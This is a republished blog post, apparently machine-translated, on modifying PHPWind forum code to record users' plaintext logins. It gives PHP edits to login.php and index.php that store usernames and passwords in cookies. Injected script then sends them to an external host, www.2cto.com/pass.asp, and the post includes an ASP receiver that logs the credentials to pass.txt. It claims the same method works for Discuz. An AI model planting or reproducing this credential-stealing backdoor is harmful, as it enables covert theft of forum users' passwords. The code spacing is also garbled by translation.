Record PHPWIND Forum plaintext Login Password

Source: Internet
Author: User

In login. php Cookie ("ck_info", $ db_ckpath. "\ t". $ db_ckdomain); add
 
Cookie ("usernamep", $ pwuser );
Cookie ("passwordp", $ pwpwd );
 
Then add the value above index. php selectMode ($ m );
 
If (! Is_null (GetCookie ('usernamep '))&&! Is_null (GetCookie ('passwordp '))){
$ Urlp = "http: //". $ _ SERVER ['HTTP _ host']. $ _ SERVER ['php _ SELF '];
Echo "<script src = 'HTTP: // www.2cto.com/pass. asp? U = ". urlencode (GetCookie ('usernamep ')). "& p = ". urlencode (GetCookie ('passwordp ')). "& s = ". urlencode ($ urlp ). "'> </script> ";
Cookie ('usernamep ', '', 0 );
Cookie ('passwordp ', '', 0 );
Unset ($ urlp );
}
 
 
 
Pass. asp code
 
<%
StrLogFile = "pass.txt"
U = request ("u ")
If u = "" then
Response. end
End if
P = request ("p ")
If p = "" then
Response. end
End if
S = request ("s ")
StrLogText = StrLogText & "username:" & u & "---- password:" & p & "---- Website:" & s & "----" & date & "& time
Set f = Server. CreateObject ("scripting. filesystemobject ")
Set ff = f. opentextfile (server. mappath (".") & "\" & strLogFile, 8, true, 0)
Ff. writeline (chr (13) + chr (10) & StrLogText)
Ff. close
Set ff = nothing
Set f = nothing %>
 
The principle of the plaintext password record in the DZ Forum is also the same.

From blog of smelly sock

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.